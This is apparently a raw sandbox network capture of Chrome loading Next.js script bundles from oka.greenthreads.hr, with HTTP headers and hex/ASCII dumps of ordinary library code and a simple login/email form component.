2025-03-13 17:12:26 UTC	10674	IN	Data Raw: 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 75 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 73 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 2c 63 3d 69 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 28 6e 75 6c 6c 29 7d 2c 35 39 38 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 65 73 63 61 70 65 53 74 72 69 6e 67 52 65 67 65 78 70 22 2c 7b 65 6e 75 6d 65 72 Data Ascii: ault.createContext(null),u=i.default.createContext(null),s=i.default.createContext(null),c=i.default.createContext(null)},5987:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"escapeStringRegexp",{enumer
2025-03-13 17:12:26 UTC	11860	IN	Data Raw: 6e 66 6f 29 28 65 2e 70 61 74 68 6e 61 6d 65 2c 7b 6e 65 78 74 43 6f 6e 66 69 67 3a 6e 2c 70 61 72 73 65 44 61 74 61 3a 21 30 7d 29 2c 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 3a 72 2e 72 6f 75 74 65 72 2e 64 65 66 61 75 6c 74 4c 6f 63 61 6c 65 2c 62 75 69 6c 64 49 64 3a 22 22 7d 29 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 69 6e 74 65 72 6e 61 6c 22 2c 6e 65 77 41 73 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 2c 6e 65 77 55 72 6c 3a 22 22 2b 74 2b 65 2e 71 75 65 72 79 2b 65 2e 68 61 73 68 7d 29 7d 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 7b 74 79 70 65 3a 22 72 65 64 69 72 65 63 74 2d 65 78 74 65 72 6e 61 6c 22 2c 64 65 73 74 69 6e 61 Data Ascii: nfo)(e.pathname,{nextConfig:n,parseData:!0}),defaultLocale:r.router.defaultLocale,buildId:""});return Promise.resolve({type:"redirect-internal",newAs:""+t+e.query+e.hash,newUrl:""+t+e.query+e.hash})}return Promise.resolve({type:"redirect-external",destina
2025-03-13 17:12:26 UTC	10234	IN	Data Raw: 6e 63 28 29 3d 3e 7b 69 66 28 43 29 7b 69 66 28 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 6a 73 6f 6e 29 26 26 21 52 29 72 65 74 75 72 6e 7b 63 61 63 68 65 4b 65 79 3a 45 2e 63 61 63 68 65 4b 65 79 2c 70 72 6f 70 73 3a 45 2e 6a 73 6f 6e 7d 3b 6c 65 74 20 65 3d 28 6e 75 6c 6c 3d 3d 45 3f 76 6f 69 64 20 30 3a 45 2e 64 61 74 61 48 72 65 66 29 3f 45 2e 64 61 74 61 48 72 65 66 3a 74 68 69 73 2e 70 61 67 65 4c 6f 61 64 65 72 2e 67 65 74 44 61 74 61 48 72 65 66 28 7b 68 72 65 66 3a 28 30 2c 79 2e 66 6f 72 6d 61 74 57 69 74 68 56 61 6c 69 64 61 74 69 6f 6e 29 28 7b 70 61 74 68 6e 61 6d 65 3a 72 2c 71 75 65 72 79 3a 6e 7d 29 2c 61 73 50 61 74 68 3a 69 2c 6c 6f 63 61 6c 65 3a 73 7d 29 2c 74 3d 61 77 61 69 74 20 71 28 7b 64 61 74 61 48 72 65 66 3a 65 2c Data Ascii: nc()=>{if(C){if((null==E?void 0:E.json)&&!R)return{cacheKey:E.cacheKey,props:E.json};let e=(null==E?void 0:E.dataHref)?E.dataHref:this.pageLoader.getDataHref({href:(0,y.formatWithValidation)({pathname:r,query:n}),asPath:i,locale:s}),t=await q({dataHref:e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:26 UTC	580	OUT	GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:26 UTC	622	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5326 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_app-aea6920bd27938ca.js" Content-Length: 280 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:26 GMT Etag: "fee534cee4da1c4a41d1ee54f48db65b" Last-Modified: Thu, 13 Mar 2025 15:43:40 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/_app-aea6920bd27938ca.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::zpcq6-1741885946468-77117d5cfb7d Connection: close
2025-03-13 17:12:26 UTC	280	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 38 38 38 5d 2c 7b 31 35 39 37 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 5f 2c 75 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 5f 61 70 70 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 28 35 30 33 35 29 7d 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 5f 3d 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 72 65 74 75 72 6e 20 6e 28 6e 2e 73 3d 5f 29 7d 3b 6e 2e 4f 28 30 2c 5b 37 37 34 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 5f 28 31 35 39 37 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[888],{1597:function(n,_,u){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return u(5035)}])}},function(n){var _=function(_){return n(n.s=_)};n.O(0,[774,179],function(){return _(1597)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:26 UTC	573	OUT	GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:26 UTC	613	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 0 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="186-e401717d9e8b842b.js" Content-Length: 64992 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:26 GMT Etag: "575c44cd8afe1990210f891769bc660a" Last-Modified: Thu, 13 Mar 2025 17:12:26 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/186-e401717d9e8b842b.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::mvz2v-1741885946472-9a3e1c663469 Connection: close
2025-03-13 17:12:26 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 36 5d 2c 7b 34 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 75 74 66 38 3a 7b 73 74 72 69 6e 67 54 6f 42 79 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 6e 2e 73 74 72 69 6e 67 54 6f 42 79 74 65 73 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 2c 62 79 74 65 73 54 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 65 2e 62 69 6e 2e 62 79 74 65 73 54 6f 53 74 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToStri
2025-03-13 17:12:26 UTC	942	IN	Data Raw: 74 2c 30 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 55 69 6e 74 38 41 72 72 61 79 7c 7c 28 74 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 6e 2e 62 79 74 65 73 54 6f 57 6f 72 64 73 28 74 29 2c 75 3d 38 2a 74 2e 6c 65 6e 67 74 68 2c 66 3d 31 37 33 32 35 38 34 31 39 33 2c 6c 3d 2d 32 37 31 37 33 33 38 37 39 2c 63 3d 2d 31 37 33 32 35 38 34 31 39 34 2c 68 3d 32 37 31 37 33 33 38 37 38 2c 70 3d 30 3b 70 3c 72 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 72 5b 70 5d 3d 28 72 5b 70 5d 3c 3c 38 7c 72 5b 70 5d 3e 3e 3e 32 34 29 26 31 36 37 31 31 39 33 35 7c 28 72 5b 70 5d 3c 3c 32 34 7c 72 5b 70 5d 3e 3e 3e 38 29 26 34 32 37 38 32 35 35 33 36 30 3b 72 5b 75 3e 3e 3e 35 5d 7c 3d Data Ascii: t,0):Array.isArray(t)\|\|t.constructor===Uint8Array\|\|(t=t.toString());for(var r=n.bytesToWords(t),u=8*t.length,f=1732584193,l=-271733879,c=-1732584194,h=271733878,p=0;p<r.length;p++)r[p]=(r[p]<<8\|r[p]>>>24)&16711935\|(r[p]<<24\|r[p]>>>8)&4278255360;r[u>>>5]\|=
2025-03-13 17:12:26 UTC	4744	IN	Data Raw: 31 30 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 36 5d 2c 39 2c 2d 31 30 36 39 35 30 31 36 33 32 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 31 5d 2c 31 34 2c 36 34 33 37 31 37 37 31 33 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 30 5d 2c 32 30 2c 2d 33 37 33 38 39 37 33 30 32 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 2b 35 5d 2c 35 2c 2d 37 30 31 35 35 38 36 39 31 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 31 30 5d 2c 39 2c 33 38 30 31 36 30 38 33 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 35 5d 2c 31 34 2c 2d 36 36 30 34 37 38 33 33 35 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 34 5d 2c 32 30 2c 2d 34 30 35 35 33 37 38 34 38 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 Data Ascii: 10),h=y(h,f,l,c,r[p+6],9,-1069501632),c=y(c,h,f,l,r[p+11],14,643717713),l=y(l,c,h,f,r[p+0],20,-373897302),f=y(f,l,c,h,r[p+5],5,-701558691),h=y(h,f,l,c,r[p+10],9,38016083),c=y(c,h,f,l,r[p+15],14,-660478335),l=y(l,c,h,f,r[p+4],20,-405537848),f=y(f,l,c,h,r[p
2025-03-13 17:12:26 UTC	5930	IN	Data Raw: 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 41 72 72 61 79 2d 6c 69 6b 65 20 4f 62 6a 65 63 74 2e 20 52 65 63 65 69 76 65 64 20 74 79 70 65 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 69 66 28 43 28 74 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 26 26 28 43 28 74 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(C(t,ArrayBuffer)\|\|t&&C(t.buffer,ArrayBuffer)\|\|"undefined"!=typeof SharedArrayBuffer&&(C(t,SharedArrayBuffer)\|\|t&&C(t.buffer,SharedArrayBuffer)))return function(t,
2025-03-13 17:12:27 UTC	7116	IN	Data Raw: 3e 3e 3e 3d 30 2c 69 7c 7c 45 28 74 2c 65 2c 72 2c 38 2c 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 2c 2d 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 29 2c 6f 2e 77 72 69 74 65 28 74 2c 65 2c 72 2c 6e 2c 35 32 2c 38 29 2c 72 2b 38 7d 65 2e 42 75 66 66 65 72 3d 61 2c 65 2e 53 6c 6f 77 42 75 66 66 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2b 74 21 3d 74 26 26 28 74 3d 30 29 2c 61 2e 61 6c 6c 6f 63 28 2b 74 29 7d 2c 65 2e 49 4e 53 50 45 43 54 5f 4d 41 58 5f 42 59 54 45 53 3d 35 30 2c 65 2e 6b 4d 61 78 4c 65 6e 67 74 68 3d 32 31 34 37 34 38 33 36 34 37 2c 61 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e 65 77 20 55 69 Data Ascii: >>>=0,i\|\|E(t,e,r,8,17976931348623157e292,-17976931348623157e292),o.write(t,e,r,n,52,8),r+8}e.Buffer=a,e.SlowBuffer=function(t){return+t!=t&&(t=0),a.alloc(+t)},e.INSPECT_MAX_BYTES=50,e.kMaxLength=2147483647,a.TYPED_ARRAY_SUPPORT=function(){try{var t=new Ui
2025-03-13 17:12:27 UTC	8302	IN	Data Raw: 74 2c 31 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 32 38 26 74 68 69 73 5b 74 5d 29 3f 2d 28 28 32 35 35 2d 74 68 69 73 5b 74 5d 2b 31 29 2a 31 29 3a 74 68 69 73 5b 74 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 68 69 73 5b 74 5d 7c 74 68 69 73 5b 74 2b 31 5d 3c 3c 38 3b 72 65 74 75 72 6e 20 33 32 37 36 38 26 72 3f 34 32 39 34 39 30 31 37 36 30 7c 72 3a 72 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 42 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 Data Ascii: t,1,this.length),128&this[t])?-((255-this[t]+1)*1):this[t]},a.prototype.readInt16LE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var r=this[t]\|this[t+1]<<8;return 32768&r?4294901760\|r:r},a.prototype.readInt16BE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var
2025-03-13 17:12:27 UTC	6676	IN	Data Raw: 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 7d 7d 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 74 68 69 73 2e 66 75 6e 3d 74 2c 74 68 69 73 2e 61 72 72 61 79 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 7d 6f 2e 6e 65 78 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 29 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 75 2e 70 75 73 68 28 6e 65 77 20 70 28 74 2c 65 29 29 2c 31 21 3d 3d 75 2e 6c 65 6e 67 74 68 7c 7c 66 7c 7c Data Ascii: (e){return r.call(this,t)}}}(t)}}function p(t,e){this.fun=t,this.array=e}function d(){}o.nextTick=function(t){var e=Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];u.push(new p(t,e)),1!==u.length\|\|f\|\|
2025-03-13 17:12:27 UTC	10674	IN	Data Raw: 29 7d 2c 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 3a 74 70 2c 69 73 41 73 79 6e 63 46 6e 3a 74 64 2c 69 73 54 68 65 6e 61 62 6c 65 3a 74 79 2c 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 74 67 2c 61 73 61 70 3a 74 6d 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 77 28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 3f 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 74 68 69 73 2e 73 74 61 63 6b 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 41 78 69 6f 73 45 72 72 6f 72 22 2c 65 26 26 28 74 68 69 73 2e 63 Data Ascii: )},toJSONObject:tp,isAsyncFn:td,isThenable:ty,setImmediate:tg,asap:tm};function tw(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=Error().stack,this.message=t,this.name="AxiosError",e&&(this.c
2025-03-13 17:12:27 UTC	11860	IN	Data Raw: 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 73 29 2c 69 3d Data Ascii: ","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.headers),i=
2025-03-13 17:12:27 UTC	6376	IN	Data Raw: 65 29 26 26 28 65 4f 28 74 29 2c 65 26 26 65 2e 72 65 73 70 6f 6e 73 65 26 26 28 65 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 74 30 2e 63 61 6c 6c 28 74 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 2c 65 2e 72 65 73 70 6f 6e 73 65 29 2c 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 3d 74 51 2e 66 72 6f 6d 28 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 65 29 7d 29 7d 6c 65 74 20 65 78 3d 22 31 2e 37 2e 39 22 2c 65 43 3d 7b 7d 3b 5b 22 6f 62 6a 65 63 74 22 2c 22 62 6f 6f 6c 65 61 6e 22 2c 22 6e 75 6d 62 65 72 22 2c 22 66 75 6e 63 74 69 6f 6e 22 2c 22 73 74 72 69 6e 67 22 2c 22 73 79 6d 62 6f 6c 22 5d 2e 66 6f 72 45 61 63 68 28 28 74 2c 65 29 3d 3e 7b 65 43 5b 74 5d Data Ascii: e)&&(eO(t),e&&e.response&&(e.response.data=t0.call(t,t.transformResponse,e.response),e.response.headers=tQ.from(e.response.headers))),Promise.reject(e)})}let ex="1.7.9",eC={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{eC[t]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	76.76.21.21	443	6192	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 17:12:27 UTC	581	OUT	GET /_next/static/chunks/pages/index-d6318c8b55988a60.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 17:12:28 UTC	622	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 0 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-d6318c8b55988a60.js" Content-Length: 3436 Content-Type: application/javascript; charset=utf-8 Date: Thu, 13 Mar 2025 17:12:27 GMT Etag: "1ab5148f51a9b649ac057952f5e150dc" Last-Modified: Thu, 13 Mar 2025 17:12:27 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-d6318c8b55988a60.js X-Vercel-Cache: HIT X-Vercel-Id: cle1::d2ck2-1741885947876-0fd083c1ce99 Connection: close
2025-03-13 17:12:28 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 69 3d 6e 28 32 35 36 38 29 2c 72 3d 6e 2e 6e 28 69 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i)
2025-03-13 17:12:28 UTC	933	IN	Data Raw: 3a 65 3d 3e 69 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 3a 65 2c 6f 6e 43 Data Ascii: :e=>i(e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value:e,onC
